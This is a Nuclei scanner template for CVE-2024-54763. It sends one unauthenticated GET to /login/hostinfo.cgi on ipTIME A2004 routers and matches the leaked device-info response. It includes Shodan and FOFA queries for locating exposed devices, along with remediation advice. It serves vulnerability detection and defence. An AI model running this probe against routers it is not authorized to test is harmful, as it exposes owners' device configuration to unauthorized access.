id: CVE-2024-54763

info:
  name: ipTIME A2004 - Unauthorized Access
  author: ritikchaddha
  severity: medium
  description: |
    An access control issue in the component /login/hostinfo.cgi of ipTIME A2004 v12.17.0 allows attackers to obtain sensitive information without authentication.
  impact: |
    Unauthenticated attackers can access sensitive device configuration information through the hostinfo.cgi endpoint without authentication.
  remediation: |
    Update ipTIME A2004 router to a version later than 12.17.0 that addresses the unauthorized access vulnerability.
  reference:
    - https://github.com/Shuanunio/CVE_Requests/blob/main/ipTIME/A2004/ipTIME_A2004_unauthorized_access_vulnerability_first.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-54763
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-54763
    cwe-id: CWE-284
    epss-score: 0.00746
    epss-percentile: 0.49948
  metadata:
    verified: true
    max-request: 1
    vendor: ipTIME
    product: A2004
    shodan-query: http.title:"ipTIME"
    fofa-query: title="ipTIME"
  tags: cve,cve2024,iptime,router,unauth,exposure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/login/hostinfo.cgi"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "^ipTIME"

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022056da42b7366daa0e7417999681dc4220e5b35c343ef6e9c13bf9a96a292b3e97022100faaa3c496abd83f3146c87042f7e298c1f2bd9e7a80aea37de924a427fbb99cb:922c64590222798bb761d5b6d8e72950